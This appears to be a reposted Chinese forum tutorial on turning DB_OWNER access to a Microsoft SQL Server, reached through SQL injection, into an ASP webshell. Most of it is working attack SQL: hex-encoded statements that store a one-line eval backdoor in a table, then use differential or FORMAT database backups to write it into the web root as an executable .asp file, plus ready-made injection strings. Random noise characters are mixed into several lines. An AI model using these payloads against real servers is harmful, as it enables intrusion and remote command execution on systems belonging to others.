DB_OWNER权限得到webshell的改进办法

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DB_OWNER权限得到webshell的两点改进:

8 q* U$ W2 s: z: \/ _减少备份文件大小，得到可执行的webshell成功率提高不少
; y, N3 J6 p8 ^一利用差异备份
加一个参数WITH DIFFERENTIAL

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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

# }3 b* P: R" m/ J' g) z二利用完全FORMAT
加一个参数WITH FROMAT
3 T+ x* v7 w" B. ^2 j有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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; ^/ [# v8 P7 V9 \. I" n9 ?6 N declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
6 _2 e' G4 u6 z) O" hcreate table [dbo].[xiaolu] ([cmd] [image]);
; K6 _+ S8 L9 Hinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

" ]- d, o1 Y' o8 z' H8 E总的来说就是那么简单几句,下面以备份数据库model为例子
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  A: g2 ?6 Z9 D5 j2 T0 R+ v! A" ~ id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

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7 D& E, D! u8 V5 r; @ id=1;backup database model to disk='你的路径‘ with differential,format;--